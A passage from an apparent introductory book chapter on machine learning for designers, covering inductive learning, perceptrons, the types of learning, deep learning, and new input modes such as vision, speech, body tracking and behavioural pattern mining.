with fuzzier and more complex or ""human"" concepts, but also bring an assortment of design challenges related to the sometimes problematic nature of working with imprecise terminology and unpredictable behavior. A Different Kind of Development In traditional programming environments, developers use boolean logic to explicitly describe each of a program's possible states and the exact conditions under which the user will be able to transition between them. This is analogous to a ""choose-your-own-adventure"" book, which contains instructions like, ""if you want the prince to fight the dragon, turn to page 32."" In code, a conditional expression (also called an if-statement ) is employed to move the user to a particular portion of the code if some pre defined set of conditions is met. In pseudocode, a conditional expression might look like this: Since a program comprises a finite number of states and transitions, which can be explicitly enumerated and inspected, the program's overall behavior should be predictable, repeatable, and testable. This is not to say, of course, that traditional programmatic logic cannot contain hard-to-foresee ""edge-cases,"" which lead to undefined or undesirable behavior under some specific set of conditions that have not been addressed by the programmer. Yet, regardless of the difficulty of identifying these problematic edge-cases in a complex piece of software, it is at least conceptually possible to methodically probe every possible path within the ""choose-your-own-adventure"" and prevent the user from accessing an undesirable state by altering or appending the program's explicitly defined logic. The behavior of machine learning systems, on the other hand, is not defined through this kind of explicit programming process. Instead of using an explicit set of rules to describe a program's possible behaviors, a machine learning system looks for patterns within a set of example behaviors in order to produce an approximate representation of the rules themselves. This process is somewhat like our own mental processes for learning about the world around us. Long before we encounter any formal description of the ""laws"" of physics, we learn to operate within them by observing the outcomes of our interactions with the physical world. A child may have no awareness of Newton's equations, but through repeated observation and experimentation, the child will come to recognize patterns in the relationships between the physical properties and behaviors of objects. While this approach offers an extremely effective mechanism for learning to operate on complex systems, it does not yield a concrete or explicit set of rules governing that system. In the context of human intelligence, we often refer to this as ""intuition,"" or the ability to operate on complex systems without being able to formally articulate the procedure by which we achieved some desired outcome. Informed by experience, we come up with a set of approximate or provisional rules known as heuristics (or ""rules of thumb"") and operate on that basis. In a machine learning system, these implicitly defined rules look nothing like the explicitly defined logical expressions of a traditional programming language. Instead, they are comprised of distributed representations that implicitly describe the probabilistic connections between the set of interrelated components of a complex system. Machine learning often requires a very large number of examples to produce a strong intuition for the behaviors of a complex system. In a sense, this requirement is related to the problem of edge-cases, which present a different set of challenges in the context of machine learning. Just as it is hard to imagine every possible outcome of a set of rules, it is, conversely, difficult to extrapolate every possible rule from a set of example outcomes. To extrapolate a good approximation of the rules, the learner must observe many variations of their application. The learner must be exposed to the more extreme or unlikely behaviors of a system as well as the most likely ones. Or, as the educational philosopher Patricia Carini said, ""To let meaning occur requires time and the possibility for the rich and varied relationships among things to become evident."" 1 While intuitive learners may be slower at rote procedural tasks such as those performed by a calculator, they are able to perform much more complex tasks that do not lend themselves to exact procedures. Nevertheless, even with an immense amount of training, these intuitive approaches sometimes fail us. We may, for instance, find ourselves mistakenly identifying a human face in a cloud or a grilled cheese sandwich. A Different Kind of Precision A key principle in the design of conventional programming languages is that each feature should work in a predictable, repeatable manner provided that the feature is being used correctly by the programmer. No matter how many times we perform an arithmetic operation such as ""2 + 2,"" we should always get the same answer. If this is ever untrue, then a bug exists in the language or tool we are using. Though it is not inconceivable for a programming language to contain a bug, it is relatively rare and would almost never pertain to an operation as commonly used as an arithmetic operator. To be extra certain that conventional code will operate as expected, most large-scale codebases ship with a set of formal ""unit tests"" that can be run on the user's machine at installation time to ensure that the functionality of the system is fully in line with the developer's expectations. So, putting rare bugs aside, conventional programming languages can be thought of as systems that are always correct about mundane things like concrete mathematical operations. Machine learning algorithms, on the other hand, can be thought of as systems that are often correct about more complicated things like identifying human faces in an image. Since a machine learning system is designed to probabilistically approximate a set of demonstrated behaviors, its very nature generally precludes it from behaving in an entirely predictable and reproducible manner, even if it has been properly trained on an extremely large number of examples. This is not to say, of course, that a well-trained machine learning system's behavior must inherently be erratic to a detrimental degree. Rather, it should be understood and considered within the design of machine-learning-enhanced systems that their capacity for dealing with extraordinarily complex concepts and patterns also comes with a certain degree of imprecision and unpredictability beyond what can be expected from traditional computing platforms. Later in the text, we will take a closer look at some design strategies for dealing with imprecision and unpredictable behaviors in machine learning systems. A Different Kind of Problem Machine learning can perform complex tasks that cannot be addressed by conventional computing platforms. However, the process of training and utilizing machine learning systems often comes with substantially greater overhead than the process of developing conventional systems. So while machine learning systems can be taught to perform simple tasks such as arithmetic operations, as a general rule of thumb, you should only take a machine learning approach to a given problem if no viable conventional approach exists. Even for tasks that are well-suited to a machine learning solution, there are numerous considerations about which learning mechanisms to use and how to curate the training data so that it can be most comprehensible to the learning system. In the sections that follow, we will look more closely at how to identify problems that are well-suited for machine learning solutions as well as the numerous factors that go into applying learning algorithms to specific problems. But for the time being, we should understand machine learning to be useful in solving problems that can be encapsulated by a set of examples, but not easily described in formal terms. What Is Machine Learning? The Mental Process of Recognizing Objects Think about your own mental process of recognizing a human face. It's such an innate, automatic behavior, it is difficult to think about in concrete terms. But this difficulty is not only a product of the fact that you have performed the task so many times. There are many other often-repeated procedures that we could express concretely, like how to brush your teeth or scramble an egg. Rather, it is nearly impossible to describe the process of recognizing a face because it involves the balancing of an extremely large and complex set of interrelated factors, and therefore defies any concrete description as a sequence of steps or set of rules. To begin with, there is a great deal of variation in the facial features of people of different ethnicities, ages, and genders. Furthermore, every individual person can be viewed from an infinite number of vantage points in countless lighting scenarios and surrounding environments. In assessing whether the object we are looking at is a human face, we must consider each of these properties in relation to each other. As we change vantage points around the face, the proportion and relative placement of the nose changes in relation to the eyes. As the face moves closer to or further from other objects and light sources, its coloring and regions of contrast change too. There are infinite combinations of properties that would yield the valid identification of a human face and an equally great number of combinations that would not. The set of rules separating these two groups is just too complex to describe through conditional logic. We are able to identify a face almost automatically because our great wealth of experience in observing and interacting with the visible world has allowed us to build up a set of heuristics that can be used to quickly, intuitively, and somewhat imprecisely gauge whether a particular expression of properties is in the correct balance to form a human face. Learning by Example In logic, there are two main approaches to reasoning about how a set of specific observations and a set of general rules relate to one another. In deductive reasoning , we start with a broad theory about the rules governing a system, distill this theory into more specific hypotheses, gather specific observations and test them against our hypotheses in order to confirm whether the original theory was correct. In inductive reasoning , we start with a group of specific observations, look for patterns in those observations, formulate tentative hypotheses, and ultimately try to produce a general theory that encompasses our original observations. See Figure 1-1 for an illustration of the differences between these two forms of reasoning. Each of these approaches plays an important role in scientific inquiry. In some cases, we have a general sense of the principles that govern a system, but need to confirm that our beliefs hold true across many specific instances. In other cases, we have made a set of observations and wish to develop a general theory that explains them. To a large extent, machine learning systems can be seen as tools that assist or automate inductive reasoning processes. In a simple system that is governed by a small number of rules, it is often quite easy to produce a general theory from a handful of specific examples. Consider Figure 1-2 as an example of such a system. 2 In this system, you should have no trouble uncovering the singular rule that governs inclusion: open figures are included and closed figures are excluded. Once discovered, you can easily apply this rule to the uncategorized figures in the bottom row. In Figure 1-3 , you may have to look a bit harder. Here, there seem to be more variables involved. You may have considered the shape and shading of each figure before discovering that in fact this system is also governed by a single attribute: the figure's height. If it took you a moment to discover the rule, it is likely because you spent time considering attributes that seemed like they would be pertinent to the determination but were ultimately not. This kind of ""noise"" exists in many systems, making it more difficult to isolate the meaningful attributes. Let's now consider Figure 1-4 . In this diagram, the rules have in fact gotten a bit more complicated. Here, shaded triangles and unshaded quadrilaterals are included and all other figures are excluded. This rule system is harder to uncover because it involves an interdependency between two attributes of the figures. Neither the shape nor the shading alone determines inclusion. A triangle's inclusion depends upon its shading and a shaded figure's inclusion depends upon its shape. In machine learning, this is called a linearly inseparable problem because it is not possible to separate the included and excluded figures using a single ""line"" or determining attribute. Linearly inseparable problems are more difficult for machine learning systems to solve, and it took several decades of research to discover robust techniques for handling them. See Figure 1-5 . In general, the difficulty of an inductive reasoning problem relates to the number of relevant and irrelevant attributes involved as well as the subtlety and interdependency of the relevant attributes. Many real-world problems, like recognizing a human face, involve an immense number of interrelated attributes and a great deal of noise. For the vast majority of human history, this kind of problem has been beyond the reach of mechanical automation. The advent of machine learning and the ability to automate the synthesis of general knowledge about complex systems from specific information has deeply significant and far-reaching implications. For designers, it means being able to understand users more holistically through their interactions with the interfaces and experiences we build. This understanding will allow us to better anticipate and meet users' needs, elevate their capabilities and extend their reach. Mechanical Induction To get a better sense of how machine learning algorithms actually perform induction, let's consider Figure 1-6 . This system is equivalent to the boolean logical expression, ""AND."" That is, only figures that are both shaded and closed are included. Before we turn our attention to induction, let's first consider how we would implement this logic in an electrical system from a deductive point of view. In other words, if we already knew the rule governing this system, how could we implement an electrical device that determines whether a particular figure should be included or excluded? See Figure 1-7 . In this diagram, we have a wire leading from each input attribute to a ""decision node."" If a given figure is shaded, then an electrical signal will be sent through the wire leading from Input A. If the figure is closed, then an electrical signal will be sent through the wire leading from Input B. The decision node will output an electrical signal indicating that the figure is included if the sum of its input signals is greater than or equal to 1 volt. To implement the behavior of an AND gate, we need to set the voltage associated with each of the two input signals. Since the output threshold is 1 volt and we only want the output to be triggered if both inputs are active, we can set the voltage associated with each input to 0.5 volts. In this configuration, if only one or neither input is active, the output threshold will not be reached. With these signal voltages now set, we have implemented the mechanics of the general rule governing the system and can use this electronic device to deduce the correct output for any example input. Now, let us consider the same problem from an inductive point of view. In this case, we have a set of example inputs and outputs that exemplify a rule but do not know what the rule is. We wish to determine the nature of the rule using these examples. Let's again assume that the decision node's output threshold is 1 volt. To reproduce the behavior of the AND gate by induction, we need to find voltage levels for the input signals that will produce the expected output for each pair of example inputs, telling us whether those inputs are included in the rule. The process of discovering the right combination of voltages can be seen as a kind of search problem. One approach we might take is to choose random voltages for the input signals, use these to predict the output of each example, and compare these predictions to the given outputs. If the predictions match the correct outputs, then we have found good voltage levels. If not, we could choose new random voltages and start the process over. This process could then be repeated until the voltages of each input were weighted so that the system could consistently predict whether each input pair fits the rule. In a simple system like this one, a guess-and-check approach may allow us to arrive at suitable voltages within a reasonable amount of time. But for a system that involves many more attributes, the number of possible combinations of signal voltages would be immense and we would be unlikely to guess suitable values efficiently. With each additional attribute, we would need to search for a needle in an increasingly large haystack. Rather than guessing randomly and starting over when the results are not suitable, we could instead take an iterative approach. We could start with random values and check the output predictions they yield. But rather than starting over if the results are inaccurate, we could instead look at the extent and direction of that inaccuracy and try to incrementally adjust the voltages to produce more accurate results. The process outlined above is a simplified description of the learning procedure used by one of the earliest machine learning systems, called a Perceptron ( Figure 1-8 ), which was invented by Frank Rosenblatt in 1957. 3 Once the Perceptron has completed the inductive learning process, we have a network of voltage levels which implicitly describe the rule system. We call this a distributed representation . It can produce the correct outputs, but it is hard to look at a distributed representation and understand the rules explicitly. Like in our own neural networks, the rules are represented implicitly or impressionistically. Nonetheless, they serve the desired purpose. Though Perceptrons are capable of performing inductive learning on simple systems, they are not capable of solving linearly inseparable problems. To solve this kind of problem, we need to account for interdependent relationships between attributes. In a sense, we can think of an interdependency as being a kind of attribute in itself. Yet, in complex data, it is often very difficult to spot interdependencies simply by looking at the data. Therefore, we need some way of allowing the learning system to discover and account for these interdependencies on its own. This can be done by adding one or more layers of nodes between the inputs and outputs. The express purpose of these ""hidden"" nodes is to characterize the interdependencies that may be concealed within the relationships between the data's concrete (or ""visible"") attributes. The addition of these hidden nodes makes the inductive learning process significantly more complex. The backpropagation algorithm, which was developed in the late 1960s but not fully utilized until a 1986 paper by David Rumelhart et al., 4 can perform inductive learning for linearly inseparable problems. Readers interested in learning more about these ideas should refer to the section Going Further . Common Analogies for Machine Learning Biological systems When Leonardo da Vinci set out to design a flying machine, he naturally looked for inspiration in the only flying machines of his time: winged animals. He studied the stabilizing feathers of birds, observed how changes in wing shape could be used for steering, and produced numerous sketches for machines powered by human ""wing flapping."" Ultimately, it has proven more practical to design flying machines around the mechanism of a spinning turbine than to directly imitate the flapping wing motion of birds. Nevertheless, from da Vinci onward, human designers have pulled many key principles and mechanisms for flight from their observations of biological systems. Nature, after all, had a head start in working on the problem and we would be foolish to ignore its findings. Similarly, since the only examples of intelligence we have had access to are the living things of this planet, it should come as no surprise that machine learning researchers have looked to biological systems for both the guiding principles and specific design mechanisms of learning and intelligence. In a famous 1950 paper, ""Computing Machinery and Intelligence,"" 5 the computer science luminary Alan Turing pondered the question of whether machines could be made to think. Realizing that ""thought"" was a difficult notion to define, Turing proposed what he believed to be a closely related and unambiguous way of reframing the question: ""Are there imaginable digital computers which would do well in the imitation game ?"" In the proposed game, which is now generally referred to as a Turing Test , a human interrogator poses written questions to a human and a machine. If the interrogator is unable to determine which party is human based on the responses to these questions, then it may be reasoned that the machine is intelligent. In the framing of this approach, it is clear that a system's similarity to a biologically produced intelligence has been a central metric in evaluating machine intelligence since the inception of the field. In the early history of the field, numerous attempts were made at developing analog and digital systems that simulated the workings of the human brain. One such analog device was the Homeostat, developed by William Ross Ashby in 1948, which used an electro-mechanical process to detect and compensate for changes in a physical space in order to create stable environmental conditions. In 1959, Herbert Simon, J.C. Shaw, and Allen Newell developed a digital system called the General Problem Solver, which could automatically produce mathematical proofs to formal logic problems. This system was capable of solving simple test problems such as the Tower of Hanoi puzzle, but did not scale well because its search-based approach required the storage of an intractable number of combinations in solving more complex problems. As the field has matured, one major category of machine learning algorithms in particular has focused on imitating biological learning systems: the appropriately named Artificial Neural Networks (ANNs). These machines, which include Perceptrons as well as the deep learning systems discussed later in this text, are modeled after but implemented differently from biological systems. See Figure 1-9 . Instead of the electrochemical processes performed by biological neurons, ANNs employ traditional computer circuitry and code to produce simplified mathematical models of neural architecture and activity. ANNs have a long way to go in approaching the advanced and generalized intelligence of humans. Like the relationship between birds and airplanes, we may continue to find practical reasons for deviating from the specific mechanisms of biological systems. Still, ANNs have borrowed a great many ideas from their biological counterparts and will continue to do so as the fields of neuroscience and machine learning evolve. Thermodynamic systems One indirect outcome of machine learning is that the effort to produce practical learning machines has also led to deeper philosophical understandings of what learning and intelligence really are as phenomena in nature. In science fiction, we tend to assume that all advanced intelligences would be something like ourselves, since we have no dramatically different examples of intelligence to draw upon. For this reason, it might be surprising to learn that one of the primary inspirations for the mathematical models used in machine learning comes from the field of Thermodynamics, a branch of physics concerned with heat and energy transfer. Though we would certainly call the behaviors of thermal systems complex, we have not generally thought of these systems as holding a strong relation to the fundamental principles of intelligence and life. From our earlier discussion of inductive reasoning, we may see that learning has a great deal to do with the gradual or iterative process of finding a balance between many interrelated factors. The conceptual relationship between this process and the tendency of thermal systems to seek equilibrium has allowed machine learning researchers to adopt some of the ideas and equations established within thermodynamics to their efforts to model the characteristics of learning. Of course, what we choose to call ""intelligence"" or ""life"" is a matter of language more than anything else. Nevertheless, it is interesting to see these phenomena in a broader context and understand that nature has a way of reusing certain principles across many disparate applications. Electrical systems By the start of the twentieth century, scientists had begun to understand that the brain's ability to store memories and trigger actions in the body was produced by the transmission of electrical signals between neurons. By mid-century, several preliminary models for simulating the electrical behaviors of an individual neuron had been developed, including the Perceptron. As we saw in the Biological systems section, these models have some important similarities to the logic gates that comprise the basic building blocks of electronic systems. In its most basic conception, an individual neuron collects electrical signals from the other neurons that lead into it and forwards the electrical signal to its connected output neurons when a sufficient number of its inputs have been electrically activated. These early discoveries contributed to a dramatic overestimation of the ease with which we would be able to produce a true artificial intelligence. As the fields of neuroscience and machine learning have progressed, we have come to see that understanding the electrical behaviors and underlying mathematical properties of an individual neuron elucidates only a tiny aspect of the overall workings of a brain. In describing the mechanics of a simple learning machine somewhat like a Perceptron, Alan Turing remarked, ""The behavior of a machine with so few units is naturally very trivial. However, machines of this character can behave in a very complicated manner when the number of units is large."" 6 Despite some similarities in their basic building blocks, neural networks and conventional electronic systems use very different sets of principles in combining their basic building blocks to produce more complex behaviors. An electronic component helps to route electrical signals through explicit logical decision paths in much the same manner as conventional computer programs. Individual neurons, on the other hand, are used to store small pieces of the distributed representations of inductively approximated rule systems. So, while there is in one sense a very real connection between neural networks and electrical systems, we should be careful not to think of brains or machine learning systems as mere extensions of the kinds of systems studied within the field of electrical engineering. Ways of Learning In machine learning, the terms supervised , unsupervised , semi-supervised , and reinforcement learning are used to describe some of the key differences in how various models and algorithms learn and what they learn about. There are many additional terms used within the field of machine learning to describe other important distinctions, but these four categories provide a basic vocabulary for discussing the main types of machine learning systems: Supervised learning procedures are used in problems for which we can provide the system with example inputs as well as their corresponding outputs and wish to induce an implicit approximation of the rules or function that governs these correlations. Procedures of this kind are ""supervised"" in the sense that we explicitly indicate what correlations should be found and only ask the machine how to substantiate these correlations. Once trained, a supervised learning system should be able to predict the correct output for an input example that is similar in nature to the training examples, but not explicitly contained within it. The kinds of problems that can be addressed by supervised learning procedures are generally divided into two categories: classification and regression problems. In a classification problem, the outputs relate to a set of discrete categories. For example, we may have an image of a handwritten character and wish to determine which of 26 possible letters it represents. In a regression problem, the outputs relate to a real-valued number. For example, based on a set of financial metrics and past performance data, we may try to guess the future price of a particular stock. Unsupervised learning procedures do not require a set of known outputs. Instead, the machine is tasked with finding internal patterns within the training examples. Procedures of this kind are ""unsupervised"" in the sense that we do not explicitly indicate what the system should learn about. Instead, we provide a set of training examples that we believe contains internal patterns and leave it to the system to discover those patterns on its own. In general, unsupervised learning can provide assistance in our efforts to understand extremely complex systems whose internal patterns may be too complex for humans to discover on their own. Unsupervised learning can also be used to produce generative models, which can, for example, learn the stylistic patterns in a particular composer's work and then generate new compositions in that style. Unsupervised learning has been a subject of increasing excitement and plays a key role in the deep learning renaissance, which is described in greater detail below. One of the main causes of this excitement has been the realization that unsupervised learning can be used to dramatically improve the quality of supervised learning processes, as discussed immediately below. Semi-supervised learning procedures use the automatic feature discovery capabilities of unsupervised learning systems to improve the quality of predictions in a supervised learning problem. Instead of trying to correlate raw input data with the known outputs, the raw inputs are first interpreted by an unsupervised system. The unsupervised system tries to discover internal patterns within the raw input data, removing some of the noise and helping to bring forward the most important or indicative features of the data. These distilled versions of the data are then handed over to a supervised learning model, which correlates the distilled inputs with their corresponding outputs in order to produce a predictive model whose accuracy is generally far greater than that of a purely supervised learning system. This approach can be particularly useful in cases where only a small portion of the available training examples have been associated with a known output. One such example is the task of correlating photographic images with the names of the objects they depict. An immense number of photographic images can be found on the Web, but only a small percentage of them come with reliable linguistic associations. Semi-supervised learning allows the system to discover internal patterns within the full set of images and associate these patterns with the descriptive labels that were provided for a limited number of examples. This approach bears some resemblance to our own learning process in the sense that we have many experiences interacting with a particular kind of object, but a much smaller number of experiences in which another person explicitly tells us the name of that object. Reinforcement learning procedures use rewards and punishments to shape the behavior of a system with respect to one or several specific goals. Unlike supervised and unsupervised learning systems, reinforcement learning systems are not generally trained on an existent dataset and instead learn primarily from the feedback they gather through performing actions and observing the consequences. In systems of this kind, the machine is tasked with discovering behaviors that result in the greatest reward, an approach which is particularly applicable to robotics and tasks like learning to play a board game in which it is possible to explicitly define the characteristics of a successful action but not how and when to perform those actions in all possible scenarios. What Is Deep Learning? From Alan Turing's writings onwards, the history of machine learning has been marked by alternating periods of optimism and discouragement over the field's prospects for applying its conceptual advancements to practical systems and, in particular, to the construction of a general-purpose artificial intelligence. These periods of discouragement, which are often called AI winters , have generally stemmed from the realization that a particular conceptual model could not be easily scaled from simple test problems to more complex learning tasks. This occurred in the 1960s when Marvin Minsky and Seymour Papert conclusively demonstrated that perceptrons could not solve linearly inseparable problems. In the late 1980s, there was some initial excitement over the backpropagation algorithm's ability to overcome this issue. But another AI winter occurred when it became clear that the algorithm's theoretical capabilities were practically constrained by computationally intensive training processes and the limited hardware of the time. Over the last decade, a series of technical advances in the architecture and training procedures associated with artificial neural networks, along with rapid progress in computing hardware, have contributed to a renewed optimism for the prospects of machine learning. One of the central ideas driving these advances is the realization that complex patterns can be understood as hierarchical phenomena in which simple patterns are used to form the building blocks for the description of more complex ones, which can in turn be used to describe even more complex ones. The systems that have arisen from this research are referred to as ""deep"" because they generally involve multiple layers of learning systems which are tasked with discovering increasingly abstract or ""high-level"" patterns. This approach is often referred to as hierarchical feature learning . As we saw in our earlier discussion of the process of recognizing a human face, learning about a complex idea from raw data is challenging because of the immense variability and noise that may exist within the data samples representing a particular concept or object. Rather than trying to correlate raw pixel information with the notion of a human face, we can break the problem down into several successive stages of conceptual abstraction (see Figure 1-10 ). In the first layer, we might try to discover simple patterns in the relationships between individual pixels. These patterns would describe basic geometric components such as lines. In the next layer, these basic patterns could be used to represent the underlying components of more complex geometric features such as surfaces, which could be used by yet another layer to describe the complex set of shapes that compose an object like a human face. As it turns out, the backpropagation algorithm and other earlier machine learning models are capable of achieving results comparable to those associated with more recent deep learning models, given sufficient training time and hardware resources. It should also be noted that many of the ideas driving the practical advances of deep learning have been mined from various components of earlier models. In many ways, the recent successes of deep learning have less to do with the discovery of radically new techniques than with a series of subtle yet important shifts in our understanding of various component ideas and how to combine them. Nevertheless, a well-timed shift in perspective, coupled with diminishing technical constraints, can make a world of difference in exposing a series of opportunities that may have been previously conceivable but were not practically achievable. As a result of these changes, engineers and designers are poised to approach ever more complex problems through machine learning. They will be able to produce more accurate results and iterate upon machine-learning-enhanced systems more quickly. The improved performance of these systems will also enable designers to include machine learning functionality that would have once required the resources of a supercomputer in mobile and embedded devices, opening a wide range of new applications that will greatly impact users. As these technologies continue to progress over the next few years, we will continue to see radical transformations in an astounding number of theoretical and real-world applications from art and design to medicine, business, and government. Enhancing Design with Machine Learning Parsing Complex Information Computers have long offered peripheral input devices like microphones and cameras, but despite their ability to transmit and store the data produced by these devices, they have not been able to understand it. Machine learning enables the parsing of complex information from a wide assortment of sources that were once completely indecipherable to machines. The ability to recognize spoken language, facial expressions, and the objects in a photograph enables designers to transcend the expressive limitations of traditional input devices such as the keyboard and mouse, opening an entirely new set of interaction paradigms that will allow users to communicate ideas in ever more natural and intuitive ways. In the sections that follow, we will look more closely at some of these opportunities. But before doing so, it should be noted that some of the possibilities we will explore currently require special hardware or intensive computing resources that may not be practical or accessible in all design contexts at this time. For example, the Microsoft Kinect, which allows depth sensing and body tracking, is not easily paired with a web-based experience. The quickly evolving landscape of consumer electronics will progressively deliver these capabilities to an ever wider spectrum of devices and platforms. Nevertheless, designers must take these practical constraints into consideration as they plan the features of their systems. New Modes of Input Visual Inputs The visible world is full of nuanced information that is not easily conveyed through other means. For this reason, extracting information from images has been one of the primary applied goals throughout the history of machine learning. One of the earliest applications in this domain is optical character recognition -the task of decoding textual information, either handwritten or printed, from photographic sources (see Figure 1-11 ). This technology is used in a wide range of real-world applications from the postal service's need to quickly decipher address labels to Google's effort to digitize and make searchable the world's books and newspapers. The pursuit of optical character recognition systems has helped to drive machine learning research in general and has remained as one of the key test problems for assessing the performance of newly invented machine learning algorithms. More recently, researchers have turned their attention to more complex visual learning tasks, many of which center around the problem of identifying objects in images. The goals of these systems range in both purpose and complexity. On the simpler end of the spectrum, object recognition systems are used to determine whether a particular image contains an object of a specific category such as a human face, cat, or tree. These technologies extend to more specific and advanced functionality, such as the identification of a particular human face within an image. This functionality is used in photo-sharing applications as well as security systems used by governments to identify known criminals. Going further, image tagging and image description systems are used to generate keywords or a sentence that describes the contents of an image (see Figure 1-12 ). These technologies can be used to aid image-based search processes as well as assist visually impaired users to extract information from sources that would be otherwise inaccessible to them. Further still, image segmentation systems are used to associate each pixel of a given image with the category of object represented by that region of the image. In an image of suburban home, for instance, all of the pixels associated with the patio floor would be painted one color while the grass, outdoor furniture and trees depicted in the image would each be painted with their own unique colors, creating a kind of pixel-by-pixel annotation of the image's contents. Other applications of machine learning to visual tasks include depth estimation and three-dimensional object extraction. These technologies are applicable to tasks in robotics and the development of self-driving cars as well as the automated conversion of conventional two-dimensional movies into stereoscopic ones. The range of visual applications for machine learning is too vast to enumerate fully here. In general, though, a great deal of machine learning research and applied work has and will continue to be directed to the numerous component goals of turning once impenetrable pixel grids into high-level information that can be acted upon by machines and used to aid users in a wide assortment of complex tasks. Aural Inputs Like visual information, auditory information is highly complex and used to convey a wide range of content ranging from human speech to music to bird calls, which are not easily transmitted through other media. The ability for machines to understand spoken language has immense implications for the development of more natural interaction paradigms. However, the diverse vocal characteristics and speech patterns of different speakers makes this task difficult for machines and even, at times, human listeners. Though a highly reliable speech-to-text system can greatly benefit human-computer interactions, even a slightly less reliable system can result in great frustration and lost productivity for the user. Like visual learning systems, immense progress in the complex task of speech recognition has been made in recent years, primarily as a result of breakthroughs in deep learning research. For most applications, these technologies have now matured to the point where their utility generally outweighs any residual imprecision in their capabilities. Aside from speech recognition, the ability to recognize a piece of music aurally has been another popular area of focus for machine learning research. The Shazam app allows users to identify songs by allowing the software to capture a short snippet of the audio. This system, however, can only identify a song from its original recording rather than allowing users to sing or hum a melody they wish to identify. The SoundHound app offers this functionality, though it is generally less reliable than Shazam's functionality. This is understandable because Shazam can utilize subtle patterns in the recorded audio information to produce accurate recognition results, whereas SoundHound's functionality must attempt to account for the potentially highly imprecise or out-of-tune approximation of the recording by the user's own voice. Both systems, however, provide users with capabilities that would hard to supplant through other means - most readers will be able to recall a time in which they hummed a melody to friends, hoping someone might be able to identify the song. The underlying technologies used by these systems can also be directed towards other audio recognition tasks such as the identification of a bird from its call or the identification of a malfunctioning mechanical system from the noise it makes. Corporeal Inputs Body language can convey subtle information about a user's emotional state, augment or clarify the tone of a verbal expression, or be used to specify what object is being discussed through the act of pointing. Machine learning systems, in conjunction with a range of new hardware devices, have enabled designers to provide users with mechanisms for communicating with machines through the endlessly expressive capabilities of the human body. See Figure 1-13 . Devices such as the Microsoft Kinect and Leap Motion use machine learning to extract information about the location of a user's body from photographic data produced by specialized hardware. The Kinect 2 for Windows allows designers to extract 20 3-dimensional joint positions through its full-body skeleton tracking feature and more than a thousand 3-dimensional points of information through its high-definition face tracking feature. The Leap Motion device provides high-resolution positioning information related to the user's hands. These forms of input data can be coupled with machine-learning-based gesture or facial expression recognition systems, allowing users to control software interfaces with the more expressive features of their bodies and enabling designers to extract information about the user's mood. To some extent, similar functionality can be produced using lower-cost and more widely available camera hardware. For the time being, these specialized hardware systems help to make up for the limited precision of their underlying machine learning systems. However, as the capabilities of these machine learning tools quickly advance, the need for specialized hardware in addressing these forms of corporeal input will be diminished or rendered unnecessary. In addition to these input devices, health tracking devices like Fitbit and Apple Watch can also provide designers with important information about the user and her physical state. From detecting elevated stress levels to anticipating a possible cardiac event, these forms of user input will prove invaluable in better serving users and even saving lives. Environmental Inputs Environmental sensors and Internet-connected objects can provide designers with a great deal of information about users' surroundings, and therefore about the users themselves. The Nest Learning Thermostat ( Figure 1-14 ), for instance, tracks patterns in homeowners' behaviors to determine when they are at home as well as their desired temperature settings at different times of day and during different seasons. These patterns are used to automatically tune the thermostat's settings to meet user needs and make climate control systems more efficient and cost-effective. As Internet-of-Things devices become more prevalent, these input devices will provide designers with new opportunities to assist users in a wide assortment of tasks from knowing when they are out of milk to when their basement has flooded. Abstract Inputs In addition to physical forms of input, machine learning allows designers to discover implicit patterns within numerous facets of a user's behavior. These patterns carry inherent meanings, which can be learned from and acted upon, even if the user is not expressly aware of having communicated them. In this sense, these implicit patterns can be thought of as input modalities that, in practice, serve a very similar purpose to the more tangible input modes described above. Mining behavioral patterns through machine learning can help designers to better understand users and serve their needs. At the same time, these patterns can also help designers to understand the products or services they offer as well as the implicit relationships between these offerings. Behavioral patterns can be mined in relation to an individual user or aggregated from the collective behaviors of numerous users. One form of pattern mining that can be useful in serving an individual user as well as improving the overall system is the discovery of frequently coupled behaviors within the sequence of actions performed by the user. For example, a user may purchase milk whenever he buys breakfast cereal. Noticing this pattern gives designers the opportunity to construct interface mechanisms that will allow the user to address his shopping needs more easily and efficiently. When the user adds cereal to the shopping cart, a modal interface suggesting the purchase of milk could be presented to him. Alternately, these two items could be shown in proximity to one another within the interface, despite the fact that these two products would generally be situated within two different areas of the store. Rather than presenting the user with separate interfaces for each item, the system could instead dynamically generate a single interface element that would allow the user to purchase these frequently coupled items with one click. In addition to benefiting the user's shopping experience and enabling multiuser recommendation engines, the system's knowledge of these correlated behaviors can be used to make the system itself more efficient, aiding business processes like inventory estimation. Mining user behavior patterns can also help businesses to better understand who their customers are. If a user frequently purchases diapers, for instance, it is a near certainty that the user is a parent. This kind of auxiliary knowledge of the user can help designers to produce interfaces that better address their target customer demographics and influence business and marketing decisions such as the determination of which advertising venues will yield the greatest influx of new customers. Designers should be careful, however, to not make assumptions about users that may embarrass or offend them by characterizing them in ways that conflict with the public persona they wish to convey. In one famous incident, the retailer Target used purchasing patterns to determine whether a given user was pregnant so that the store could better target this much sought-after category of customer. 8 Though this practice may be welcomed by some, in at least one case it created an uncomfortable situation when an angry father came to a Target store demanding to know why his high-school-aged daughter had received numerous coupons targeted at expectant mothers. The man had not been aware that his daughter was pregnant and upon learning the truth from his daughter, apologized to the retailer. Nevertheless, these kinds of customer insights can be unsettling and require great care in their treatment by designers. Issues of this kind will be discussed in greater detail in the section Mitigating Faulty Assumptions . When handled with care, however, user insights can provide great value to customers and businesses alike. Understanding a user's behavioral patterns can also aid security processes such as the detection of fraudulent use of a customer's account information. Credit card companies and some retailers regularly use consumer purchasing patterns to assess whether a given purchase is fraudulent by checking whether the geographic location of the transaction and the items purchased are in line with the customer's history. If an anomaly is detected, the transaction will be blocked and the customer will be notified that their financial information may be compromised. Creating Dialogue Conventional user interfaces tend to rely upon menu systems as the primary means of organizing the set of features available to the user. One positive aspect of this approach is that it provides a clear and explicit mechanism for the user to explore the system and learn what is possible within it. Hierarchical menus enable users to quickly focus their search for a specific feature by curating the system's functionality into neatly delineated, domain-specific groupings. If the user is unaware of a particular feature, its proximity to other more familiar functions may lead the user to experiment with it, expanding her knowledge of the system in an organic manner. The downside to hierarchical menu systems, however, is that once users have learned the system's capabilities, they still have to spend a great deal of time navigating menus in order to reach commonly used features. This tedious labor is sometimes mediated by the software's offering of keyboard shortcuts. But there is a limit to the number of shortcuts that can be plausibly utilized, and this approach is not easily embedded in web and mobile interfaces. With each additional feature, conventional menu systems become increasingly complex and hard to navigate. For professional tools like 3D-modeling and video-editing software, it may be reasonable to expect the user to commit to a steep learning curve. But for intelligent assistants and other applications with broad feature sets aimed at the average user, it would be impractical or counterproductive to present the system's functionality through a menu system. Imagine what Siri would look like if 